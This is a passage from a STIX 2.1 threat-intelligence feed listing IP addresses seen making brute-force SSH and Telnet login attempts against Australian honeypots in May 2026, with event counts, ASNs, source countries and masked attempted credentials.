      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6, b**********************************************************************************************'. Passwords observed (masked): , **, A*******************p, C********9, H**********************3.",
      "id": "indicator--5e1bf82c-1434-4c5e-bb7f-e11e784d6a2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.123.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited. Usernames observed (masked): b*****n, e******m, e******e, r**t, t****r. Passwords observed (masked): t****r, b*****n, e******m, e******e, t*****g.",
      "id": "indicator--caf96308-34fe-422b-877b-0be302a139bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269597. Organisation(s): STALKER ENGENHARIA EIRELI.",
      "id": "indicator--4353a37a-809d-41f6-bbd3-2bc023b8b03f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.71.208.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--5563be00-bb25-4571-9534-e547d4e0354d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.152.178.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--994ddbdc-d2a2-498e-84d0-fa6946b17a12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NP. ASN(s): 58504. Organisation(s): TECHMINDS NETWORKS PVT. LTD..",
      "id": "indicator--8ee7b1ed-5cf7-464d-8ef6-854e2f125411",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.98.129.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--84ed6a20-4a21-49a1-8344-262e89b952f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.238.74.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 520. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, u**t, u**r. Passwords observed (masked): 1**4, a***n, 1***5, a******3, p******d.",
      "id": "indicator--079f05b2-7f66-4dfa-85fb-3c154a8f5b6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.156.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 485. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, s*****t, d*******r, u**r. Passwords observed (masked): 1****6, a***n, p******d, *****, 0********1.",
      "id": "indicator--7167a047-2bb4-4e9b-ae5f-aaa6c192b30c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.99.174.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--f20a2aad-192a-4cc9-a949-8d200a1ea23d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.140.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): s*****t. Passwords observed (masked): s*****t.",
      "id": "indicator--50fcdd6d-9e65-439d-91c6-99573da9b443",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--93f94244-f44c-4da1-979a-65bb1ec12224",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.144.52.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, h****p, 3**********4, d****n, ***. Passwords observed (masked): *, ***, 3***********4, 3**********4, a*****2.",
      "id": "indicator--5707027d-6808-4163-a3a2-881f14049e88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '155.248.164.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--86f7bb31-0a28-4fe5-94e2-e88017f44c68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.0.195.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--88a10013-72ea-457b-991c-84beb5b67230",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.138.205.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 11556. Organisation(s): Cable & Wireless Panama.",
      "id": "indicator--5acf7b5c-6c24-4ee0-ad9e-f9fe8c06ce6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.178.112.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--7eba630e-5f10-44af-9a6f-164687715ad8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.187.79.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: BN. ASN(s): 10094. Organisation(s): Unified National Networks.",
      "id": "indicator--7f1e4b85-5d98-4f8b-bb00-8784f5fff7b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.6.243.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 26554. Organisation(s): US Signal Company, L.L.C..",
      "id": "indicator--f8ef1f19-b447-4cd8-ad7b-2c83a94e8c9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.141.143.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 239. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): u****u, r**t, a***n, d****n, 3**********4. Passwords observed (masked): p******d, *, ***, 1**4, 1******4.",
      "id": "indicator--d71b73e0-5216-4557-a377-8028b2352ee9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.233.116.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--4bc1f96c-edb3-4dbf-812e-396b4c201e50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.229.112.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:15:10.000Z",
      "valid_until": "2026-06-02T08:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 140157. Organisation(s): Wave Network Solutions.",
      "id": "indicator--0b55eba6-67a2-431a-9eb8-96dfb2b4b2d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.149.174.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 135019. Organisation(s): Amarnet System.",
      "id": "indicator--ebaa365e-b150-4b11-b99a-afe7e557c1f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.23.255.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GA. ASN(s): 327708. Organisation(s): AIRTEL.",
      "id": "indicator--e6dd84bc-ebf1-49d9-ac3c-6d4b833c511e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.0.186.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17665. Organisation(s): ONEOTT INTERTAINMENT LIMITED.",
      "id": "indicator--7198f439-cbcc-4a6f-af46-ee46e1f4a425",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.119.47.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--73878145-7df7-45a3-ad90-c3a2fb0f871d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.76.83.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 21928. Organisation(s): T-Mobile USA, Inc..",
      "id": "indicator--430b6582-c8d8-43a3-aaf9-05ff2053d8ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.56.220.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--0dbd7835-327f-4ad2-8a43-fe624394fad7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.82.128.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--ac9ac77c-778c-4c5e-8479-667dab29b3d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.82.132.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--4bdf7722-51e7-4c2d-846b-0b2ddc6fefa5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '24.232.153.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********0, H**********************3.",
      "id": "indicator--f6c27fc4-9fab-4cb2-bf90-cd176a4a4a81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.149.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8445334f-d89f-454a-af54-c7d316eb72c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.78.129.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--0d4326db-e3f4-497e-b3bd-fb068be84b6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.187.64.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 271843. Organisation(s): LARA INGENIERIA EN TECNOLOGIA Y TELECOMUNICACIONES LIMITADA SOLUCIONES INTERLAN.",
      "id": "indicator--3c86709e-4638-4330-a0aa-4e8cc9996c40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.162.133.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
